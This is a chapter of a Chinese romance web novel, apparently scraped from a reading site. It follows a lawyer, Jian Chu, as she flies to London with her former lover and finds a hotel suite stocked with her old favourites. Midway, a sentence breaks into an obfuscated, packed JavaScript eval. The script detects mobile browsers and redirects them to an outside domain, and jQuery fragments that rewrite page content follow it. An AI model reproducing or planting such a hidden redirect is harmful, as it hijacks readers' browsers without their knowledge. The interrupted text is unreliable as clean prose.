机场人来人往，广播声此起彼伏。简初站在值机柜台前，拿到登机牌的一刻，视线在那一栏“FirstClass”上顿了一下，眉心几不可察地蹙起。


    她本以为自己订的是经济舱，公司差旅制度里写得清清楚楚，从来不报销头等。


    她转头看向沈砚舟。


    男人像是早就料到她的疑问，连眼皮都没抬一下，只淡淡道：“有些工作需要在路上沟通，但我不打算踏进经济舱。”


    语气平静得像是在陈述天气，甚至带着一点理所当然的傲慢。


    简初没再说话，把登机牌收好，跟着他一起去过安检。在这种细节上与他争辩，毫无意义，只会显得自己小家子气。


    他们出发得很仓促，身上都只带了一个小的登机箱。走到登机口前，沈砚舟看了她一眼，忽然开口：“到了缺什么再买，算我账上。”


    简初一时没说话，只是看着他，片刻后才轻轻“嗯”了一声。


    那一瞬，她眉间淡淡的褶痕终于松开了一些。


    她知道，他从来不做无谓的解释，偶尔一句多出的交代，已算得上破天荒。他依然在用他最擅长的方式——金钱，来划定彼此的界限，高效，也省心。她不想深究这背后是工作需要，还是别的什么。


    飞机升空后，很快穿进了云层。天光像是被关在窗外，稀薄、冷白、遥不可及。


    简初看了一眼窗外，又把视线收了回来。


    密闭的机舱像一口高压罐，什么情绪进去都得慢慢压平。她试图让自己进入工作状态，可沈砚舟就在身边，他的存在本身，就是一个无法忽视的大气压。


    他永远都是那个样子。打开电脑，处理邮件，像一部永动机，精准、安静，甚至连敲键盘的声音都克制得刚刚好。


    坐在他身边，哪怕不说话，简初都觉得像是在开一场隐形的会议。


    她用力眨了下眼，把那点恍神压下去。


    沈砚舟说得轻描淡写：“陪我去趟伦敦。”


    这几个字，她听得清清楚楚，伦敦于她而言早不是地名，那是个她用尽八年时间都没彻底爬出去的坑。


    很多事，她原以为自己已经忘了。可现在才知道，遗忘从不是彻底的，只是表面结了层薄冰，只要有人一碰，碎得比想象中还快。


    她忍着心里那点异样，往后一靠，拉了拉身上的外套。可冷气还是往骨头缝里钻，那种阴凉像是从心里冒出来的。


    她刚抬起手想按铃叫空乘，身边忽然递过来一团深灰色的羊绒。


    简初一愣，转头。


    沈砚舟没看她，目光还在电脑上，神情一如既往地冷静。那条毯子不是机上标配，是私人物品，质地柔软，看得出价格不菲。


    她没伸手接，也没说话。


    他却像是习惯了她的沉默，淡淡开口：“别感冒了，影响工作。”


    简初听见这话时，心里忽然像被针扎了一下，不尖锐，却是一种沉闷的、带着回响的疼。


    沈砚舟永远能把一件或许可以有温度的事，说得像流程表一样清冷。


    她也笑不出来，伸手接过那条毯子，盖到身上。羊绒的温度瞬间包裹住她，可那一瞬，四肢百骸却泛起一阵更深的无力感。


    她闭上眼，脑子里却全是当年。


    那年在海德公园散步，也是他扔给她一条围巾，说的话也是一样的冷：“不想因为你的生病影响我们之间的交易。”


    就像这些细节对他来说，不过是档案夹上的小注释，翻出来没什么代价，合上也不用承担任何情绪。


    而她不同。


    她总是要花很多力气，才能在他面前维持住一点摇摇欲坠的体面，才能假装这些事过去了，忘了，不重要了。


    简初将脸埋进毯子里，闭紧了眼睛。长长的睫毛扫在毛毯上，细微地颤抖着。


    外面是三万英尺高空，舱内恒温，一切都显得冷静而妥帖。可只有她知道，她的心跳此刻根本不受控制，乱得像是要把整段过去，都从骨缝里撕扯出来。


    她忽然有些恨起自己来——


    恨自己不过是坐了趟飞机，看了他一眼，就又把那些本该死去的念头，全都放了生。


    伦敦的雨，总是不期而遇。


    飞机降落在希斯罗机场时，天色是那种独有的铅灰色。


    细密的雨丝被风吹得斜斜地织成一张网，将整个城市都笼罩其中。


    车窗外的景物飞速倒退，那些熟悉的哥特式尖顶与维多利亚式建筑，在雨幕中都染上了一层朦胧的雾气，像是褪了色的旧照片。


    简初一路无话，只是将脸偏向窗外，看着这阔别了没多久的城市。


    太熟悉了。这里的每一条街道，每一棵悬铃木，甚至连空气里那股潮湿的味道，都还是老样子。


    最终，黑色的宾利缓缓驶入了一栋白色典雅的酒店门前。门童穿着妥帖的制服，撑着巨大的黑伞，快步上前为他们拉开车门。


    “沈总，简小姐。”司机恭敬地提醒。


    简初下了车，冷风裹挟着雨丝扑面而来，她下意识地瑟缩了一下。抬头看去，那熟悉的白色廊柱与雕花铁门，身边还是同样的人。她的心莫宁奇妙被捏了一下。


    沈砚舟走在她身侧，步伐从容，仿佛并未察觉她瞬间的僵硬。他对前来迎接的酒店经理用流利的英文交代了几句，语气是一贯的简洁。


    “我们订了顶层的套房。”


    经理恭敬地在前面引路，专属电梯无声地上升。镜面的电梯壁映出他们两人的身影。


    “这里的安保和私密性更好。”在电梯门滑开的瞬间，沈砚舟像是终于想起了有解释的必要，他侧过头，声音平淡地补充道，“我不希望这次的谈判，不被任何不相干的人打扰。”


    简初没有应声，只是扯了扯嘴角，一个细微的近乎自嘲的弧度。


    套房大得惊人，几乎占据了整个顶层。玄关之后，是两个完全独立的起居空间，由一道厚重的双开门隔开。沈砚舟对她说：“你住左边，我住右边。工作区的会议室在中间。除了开会，我们不会互相打扰。”


    他说得如此公事公办，仿佛真的是为了工作，才做出这样周全的安排。


    简初拎着自己简单的行李，走向左边的房间。当她推开那扇沉重的橡木门时，一股熟悉的香气，若有似无地，钻入了她的鼻腔。


    她的脚步，就那样顿在了门口。


    不是酒店惯用的那种商业香薰，而是一种清冽又温柔的味道，是祖马龙的蓝风铃。


    她缓缓走进去，目光所及之处，皆是记忆的痕迹。


    起居室的酒柜里，冰着一瓶白苏维翁，是她喜欢的那个新西兰产区。茶几上，放着一本最新的《经济学人》。洗手间的台面上，摆放着全套的LaMer。而在床头。那个剔透的水晶花瓶里，几枝含苞待放的白色小苍兰，安静地吐着芬芳。


    花开得那样安静，却在她心里，掀起了惊涛骇浪。


    简初快步走到巨大的落地窗前，猛地拉开了厚重的窗帘。窗外，是伦敦沉沉的夜色和璀璨的灯火。她将额头抵在冰冷的玻璃上，那刺骨的凉意，让她混乱的心绪终于找到了一丝喘息的缝隙。


    这些细节，像一张无形的网，将她密不透风地包裹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164112|180396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来。


    这不是体贴，更不是温情。这是一种炫耀，一种不动声色的宣示。他在用这种方式，冷酷地提醒着她——


    在这场由我主导的游戏里，你永远，都只是被动的那一方。


    她感觉自己此刻像一只被关进了华丽囚笼的鸟，笼子的每一根栏杆，都刻着过往的名字。而那个掌控着笼门钥匙的人，此刻就住在隔壁，用一种近乎残忍的姿态，欣赏着她的无措与挣扎。


    她在窗前站了很久，久到玻璃上的雾气都映出了她模糊的轮廓。


    然后，她缓缓直起身，脸上所有的脆弱和迷茫都已褪去，取而代之的，是一种近乎清醒的平静。


    可惜，简初不是当年的小姑娘了，她很快就理所当然的享受起这一切，主打一个不享受就浪费了的心态。


    入夜，伦敦的雨势渐大，敲在玻璃上，听着让人心烦。


    简初冲了个热水澡，将一身的疲惫与寒气都冲刷干净。


    她没有去碰那些他准备的LaMer，而是从自己的行李箱里拿出了惯用的旅行套装。换上自带的真丝睡袍，她拿起那瓶冰得恰到好处的白苏维翁，为自己倒了满满一杯。


    她赤着脚，踩在柔软的地毯上，端着酒杯，品了一口。


    她知道他想干什么。无非是想用这些旧日的细节来扰乱她的心绪，让她方寸大乱，让她记起自己曾在他面前是何等的无助与依附。


    可惜，他算错了一点。以前的简初会为此辗转反侧，但今天的她，只会把这当成一场棋逢对手的游戏。


    游戏，总有输赢。而她，向来不喜欢输。


    正思忖间，起居室的门被不轻不重地叩了两下。


    简初没有回头，只淡淡地说了一声：“进。”


    沈砚舟推门而入。他已经换下了笔挺的西装，穿着一套深蓝色的家居服，手中拿着一份文件，神色平静地朝她走来。他的目光，状似不经意地扫过她手中的酒杯，和那瓶已被开启的白葡萄酒。


    他走到她身侧，与她并肩立于窗前，同样看向窗外的夜景。


    “看来，我的安排还算合简律师的心意。”他的声音很低，像大提琴的弦，在安静的房间里，显得格外清晰。


    简初闻言，终于转过头，脸上绽开一个清丽而明艳的笑。那笑容在水晶灯下，晃得人眼花。她举起酒杯，朝他遥遥一敬，动作优雅又带着一丝懒洋洋的挑衅。


    “何止是合心意，”她抿了一口酒，声音清亮，带着一丝恰到好处的夸赞，“简直是受宠若惊。没想到时隔这么久，沈总还对我这个‘前任’的喜好了如指掌，细致到连我用什么牌子的洗面奶都一清二楚。”


    她故意用了“前任”这个暧昧又刺耳的词，就是要打破他那副公事公办的假面。


    “只是，”她话锋一转，笑容未变，眼底却掠过一丝锐利如刀锋的冷光，“我有些好奇，沈总为我这个私人法律顾问做到这个地步，这些费用……是准备从我那三倍的时薪里扣，还是说，算在骁岳集团这次并购项目的招待费里？”


    沈砚舟的眼神，终于沉了下来。他看着她那张明艳照人、却句句带刺的脸，看着她眼中那毫不掩饰的讥诮。


    他沉默了片刻，随即也轻笑了一声，那笑声里，听不出一丝温度。


    “简律师多虑了。”他从她手中拿过那份文件，姿态从容地递还给她，“我只是习惯高效。为你准备好一切，是为了让你用最快的速度进入最佳工作状态。毕竟，”他微微倾身，靠近她，声音压得更低，像情人间的耳语，说出的话却冷得像冰，“你很贵，简初。我不想我的钱，有半分花得不值。”